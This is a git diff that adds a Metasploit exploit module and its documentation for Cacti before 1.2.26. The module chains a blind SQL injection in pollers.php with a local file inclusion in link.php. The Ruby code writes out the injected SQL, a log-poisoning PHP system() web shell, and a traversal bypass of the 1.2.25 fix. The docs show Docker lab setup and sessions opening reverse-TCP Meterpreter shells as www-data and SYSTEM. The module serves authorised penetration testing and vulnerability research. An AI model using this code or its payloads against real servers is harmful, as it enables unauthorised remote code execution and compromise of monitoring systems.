diff --git a/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md b/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md new file mode 100644 index 000000000000..dddb600320c7 --- /dev/null +++ b/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md @@ -0,0 +1,244 @@ +## Vulnerable Application + +This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section. + +The module implements a `check` method that makes sure `pollers.php` is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the [fix](https://github.com/Cacti/cacti/commit/4beb66dbe2c571c3216834c029bde2e951b401cf#diff-60434fdc6c83f03e69846c2640319eeee39da1b477e76e1ca0dca0519bbc9651) added in version 1.2.25. + +The exploit will do the following: +- Login with the provided credentials +- Perform a series of SQL injections to: + - backup the current log file path and add a new path to the `settings` table + - insert the new log file path to the External Links table (`external_links`) + - add permission to access this external link to the current user (`user_auth_realm`) + - Poison the log file to add the payload stager +- Trigger the payload by accessing the external link page (`link.php)` +- Cleanup the SQL tables that were modified to their original states +- Remove the new log file that contains the stager + +### Docker installation of Cacti version 1.2.25 +- Create the following files (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)): + - `docker-compose.yml`: + ``` + version: '2' + services: + web: + build: ./cacti + ports: + - "8080:80" + depends_on: + - db + entrypoint: + - bash + - /entrypoint.sh + volumes: + - ./entrypoint.sh:/entrypoint.sh + command: apache2-foreground + db: + image: mysql:5.7 + environment: + - MYSQL_ROOT_PASSWORD=root + - MYSQL_DATABASE=cacti + ``` + - `entrypoint.sh`: + ``` + #!/bin/bash + set -ex + + wait-for-it db:3306 -t 300 -- echo "database is connected" + if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then + mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql + mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'" + mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'" + fi + + chown www-data:www-data -R /var/www/html + # first arg is `-f` or `--some-option` + if [ "${1#-}" != "$1" ]; then + set -- apache2-foreground "$@" + fi + + exec "$@" + ``` +- Create a `./cacti/` directory with `mkdir cacti` +- Add the following files in the `./cacti/` folder (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/base/cacti/1.2.22): + - `Dockerfile`: + ``` + FROM php:7.4-apache + + RUN apt-get update && \ + apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \ + wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev + + RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\ + docker-php-ext-configure intl &&\ + docker-php-ext-configure pcntl --enable-pcntl &&\ + docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext + + RUN mkdir /var/www/html/cacti &&\ + wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.25.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1 + + COPY config.php /var/www/html/cacti/include/config.php + COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini + ``` + - `cacti.ini` + ``` + display_errors=off + memory_limit=512M + date.timezone=UTC + max_execution_time=120 + ``` + - `config.php` + ``` + `Users` +- Click on the `+` sign +- Enter the `User Name`, `Password` and check the `Enabled` option. +- Click `Create` +- Go to the `Permissions` tab and set the `Sites/Devices/Data` permission in `General Administration` +- Click `Save` + + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/multi/http/cacti_pollers_sqli_rce` +1. Do: `set target ` +1. Do: `set payload ` +1. Do: `run rhost= rport= lhost= username= password=` +1. You should get a shell. + +## Options + +### USERNAME +The user to login with (default `admin`). + +### PASSWORD +The password to login with (default `admin`) + +### TARGETURI +The base URI of Cacti (default `/cacti`). + + +## Scenarios + +### Cacti version 1.2.25 on Docker installation +``` +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 0 +target => 0 +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678 + +[*] Started reverse TCP handler on 192.168.144.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking Cacti version +[+] The web server is running Cacti version 1.2.25 +[*] Attempting login with user `msfuser` and password `12345678` +[+] Logged in +[*] Checking permissions to access `pollers.php` +[*] Attempting SQLi to check if the target is vulnerable +[+] The target is vulnerable. +[*] Backing up the current log file path and adding a new path (log/cacti520.log) to the `settings` table +[*] Inserting the log file path `log/cacti520.log` to the external links table +[*] Getting the user ID and setting permissions (it might take a few minutes) +[*] Logging again to apply new settings and permissions +[*] Getting the CSRF token to login +[*] Attempting login with user `msfuser` and password `12345678` +[+] Logged in +[*] Poisoning the log +[*] Triggering the payload +[*] Sending stage (3045380 bytes) to 192.168.144.1 +[*] Cleaning up log file +[*] Meterpreter session 8 opened (192.168.144.1:4444 -> 192.168.144.1:51181) at 2024-01-29 22:00:19 +0100 +[*] Cleaning up external link using SQLi +[*] Cleaning up permissions using SQLi +[*] Cleaning up the log path in `settings` table using SQLi + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : 172.25.0.3 +OS : Debian 11.5 (Linux 6.5.11-linuxkit) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Cacti version 1.2.24 on Windows 11 +``` +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 1 +target => 1 +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +payload => cmd/windows/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678 + +[*] Started reverse TCP handler on 192.168.144.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking Cacti version +[+] The web server is running Cacti version 1.2.24 +[*] Attempting login with user `msfuser` and password `12345678` +[+] Logged in +[*] Checking permissions to access `pollers.php` +[*] Attempting SQLi to check if the target is vulnerable +[+] The target is vulnerable. +[*] Backing up the current log file path and adding a new path (log/cacti715.log) to the `settings` table +[*] Inserting the log file path `log/cacti715.log` to the external links table +[*] Getting the user ID and setting permissions (it might take a few minutes) +[*] Logging again to apply new settings and permissions +[*] Getting the CSRF token to login +[*] Attempting login with user `msfuser` and password `12345678` +[+] Logged in +[*] Poisoning the log +[*] Triggering the payload +[*] Sending stage (200774 bytes) to 192.168.144.134 +[*] Cleaning up log file +[*] Meterpreter session 7 opened (192.168.144.1:4444 -> 192.168.144.134:64144) at 2024-01-29 21:58:59 +0100 +[*] Cleaning up external link using SQLi +[*] Cleaning up permissions using SQLi +[*] Cleaning up the log path in `settings` table using SQLi + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DESKTOP-26CQRHP +OS : Windows 11 (10.0 Build 22000). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +``` diff --git a/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb new file mode 100644 index 000000000000..74085fd6eeb7 --- /dev/null +++ b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb @@ -0,0 +1,349 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::SQLi + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + class CactiError < StandardError; end + class CactiNotFoundError < CactiError; end + class CactiVersionNotFoundError < CactiError; end + class CactiNoAccessError < CactiError; end + class CactiCsrfNotFoundError < CactiError; end + class CactiLoginError < CactiError; end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Cacti RCE via SQLi in pollers.php', + 'Description' => %q{ + This exploit module leverages a SQLi (CVE-2023-49085) and a LFI + (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to + achieve RCE. Authentication is needed and the account must have access + to the vulnerable PHP script (`pollers.php`). This is granted by + setting the `Sites/Devices/Data` permission in the `General + Administration` section. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Aleksey Solovev', # Initial research and discovery + 'Christophe De La Fuente' # Metasploit module + ], + 'References' => [ + [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi + [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE) + [ 'CVE', '2023-49085'], # SQLi + [ 'CVE', '2023-49084'] # LFI (RCE) + ], + 'Platform' => ['unix linux win'], + 'Privileged' => false, + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Linux Command', + { + 'Arch' => ARCH_CMD, + 'Platform' => [ 'unix', 'linux' ] + } + ], + [ + 'Windows Command', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'win' + } + ] + ], + 'DefaultOptions' => { + 'SqliDelay' => 3 + }, + 'DisclosureDate' => '2023-12-20', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), + OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']), + OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti']) + ] + ) + end + + def sqli + @sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload| + sqli_final_payload = '"' + sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and') + sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\"" + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'pollers.php'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + '__csrf_magic' => @csrf_token, + 'name' => 'Main Poller', + 'hostname' => 'localhost', + 'timezone' => '', + 'notes' => '', + 'processes' => '1', + 'threads' => '1', + 'id' => '2', + 'save_component_poller' => '1', + 'action' => 'save', + 'dbhost' => sqli_final_payload + }, + 'vars_get' => { + 'header' => 'false' + } + ) + end + end + + def get_version(html) + # This will return an empty string if there is no match + version_str = html.xpath('//div[@class="versionInfo"]').text + unless version_str.include?('The Cacti Group') + raise CactiNotFoundError, 'The web server is not running Cacti' + end + unless version_str.match(/Version (?\d{1,2}\.\d{1,2}.\d{1,2})/) + raise CactiVersionNotFoundError, 'Could not detect the version' + end + + Regexp.last_match[:version] + end + + def get_csrf_token(html) + html.xpath('//form/input[@name="__csrf_magic"]/@value').text + end + + def do_login + if @csrf_token.blank? || @cacti_version.blank? + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET', + 'keep_cookies' => true + ) + if res.nil? + raise CactiNoAccessError, 'Could not access `index.php` - no response' + end + + html = res.get_html_document + if @csrf_token.blank? + print_status('Getting the CSRF token to login') + @csrf_token = get_csrf_token(html) + if @csrf_token.empty? + # raise an error since without the CSRF token, we cannot login + raise CactiCsrfNotFoundError, 'Cannot get the CSRF token' + else + vprint_good("CSRF token: #{@csrf_token}") + end + end + + if @cacti_version.blank? + print_status('Getting the version') + begin + @cacti_version = get_version(html) + vprint_good("Version: #{@cacti_version}") + rescue CactiError => e + # We can still log in without the version + print_bad("Could not get the version, the exploit might fail: #{e}") + end + end + end + + print_status("Attempting login with user `#{datastore['USERNAME']}` and password `#{datastore['PASSWORD']}`") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + '__csrf_magic' => @csrf_token, + 'action' => 'login', + 'login_username' => datastore['USERNAME'], + 'login_password' => datastore['PASSWORD'] + } + ) + raise CactiNoAccessError, 'Could not login - no response' if res.nil? + raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302 + + print_good('Logged in') + end + + def check + # Step 1 - Check if the target is Cacti and get the version + print_status('Checking Cacti version') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET', + 'keep_cookies' => true + ) + return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil? + + html = res.get_html_document + begin + @cacti_version = get_version(html) + version_msg = "The web server is running Cacti version #{@cacti_version}" + rescue CactiNotFoundError => e + return CheckCode::Safe(e.message) + rescue CactiVersionNotFoundError => e + return CheckCode::Unknown(e.message) + end + + if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26') + print_good(version_msg) + else + return CheckCode::Safe(version_msg) + end + + # Step 2 - Login + @csrf_token = get_csrf_token(html) + return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty? + + begin + do_login + rescue CactiError => e + return CheckCode::Unknown("Login failed: #{e}") + end + + @logged_in = true + + # Step 3 - Check if the user has enough permissions to reach `pollers.php` + print_status('Checking permissions to access `pollers.php`') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'pollers.php'), + 'method' => 'GET', + 'keep_cookies' => true, + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + } + ) + return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil? + return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401 + return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200 + + # Step 4 - Check if it is vulnerable to SQLi + print_status('Attempting SQLi to check if the target is vulnerable') + return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable + + CheckCode::Vulnerable + end + + def get_ext_link_id + # Get an unused External Link ID with a time-based SQLi + @ext_link_id = rand(1000..9999) + loop do + _res, elapsed_time = Rex::Stopwatch.elapsed_time do + sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}") + end + break if elapsed_time < datastore['SqliDelay'] + + @ext_link_id = rand(1000..9999) + end + vprint_good("Got external link ID #{@ext_link_id}") + end + + def exploit + # `#do_login` will take care of populating `@csrf_token` and `@cacti_version` + unless @logged_in + begin + do_login + rescue CactiError => e + fail_with(Failure::NoAccess, "Login failure: #{e}") + end + end + + @log_file_path = "log/cacti#{rand(1..999)}.log" + print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table") + @log_setting_name_bak = '_path_cactilog' + sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'") + @do_settings_cleanup = true + sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')") + register_file_for_cleanup(@log_file_path) + + print_status("Inserting the log file path `#{@log_file_path}` to the external links table") + log_file_path_lfi = "../../#{@log_file_path}" + # Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79): + # $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']); + log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25') + get_ext_link_id + sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')") + @do_ext_link_cleanup = true + + print_status('Getting the user ID and setting permissions (it might take a few minutes)') + user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'") + fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/) + sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})") + @do_perms_cleanup = true + + print_status('Logging in again to apply new settings and permissions') + # Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again. + # This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup. + cookie_jar_bak = cookie_jar.clone + cookie_jar.clear + csrf_token_bak = @csrf_token + # Setting `@csrf_token` to nil will force `#do_login` to get a fresh CSRF token + @csrf_token = nil + begin + do_login + rescue CactiError => e + fail_with(Failure::NoAccess, "Login failure: #{e}") + end + + print_status('Poisoning the log') + header_name = rand_text_alpha(1).upcase + sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)") + + print_status('Triggering the payload') + # Expecting no response + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'link.php'), + 'method' => 'GET', + 'keep_cookies' => true, + 'headers' => { + header_name => payload.encoded + }, + 'vars_get' => { + 'id' => @ext_link_id, + 'headercontent' => 'true' + } + }, 0) + + # Restore the cookie_jar and the CSRF token to run cleanup without being blocked + cookie_jar.clear + self.cookie_jar = cookie_jar_bak + @csrf_token = csrf_token_bak + end + + def cleanup + super + + if @do_ext_link_cleanup + print_status('Cleaning up external link using SQLi') + sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}") + end + + if @do_perms_cleanup + print_status('Cleaning up permissions using SQLi') + sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}") + end + + if @do_settings_cleanup + print_status('Cleaning up the log path in `settings` table using SQLi') + sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'") + sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'") + end + end +end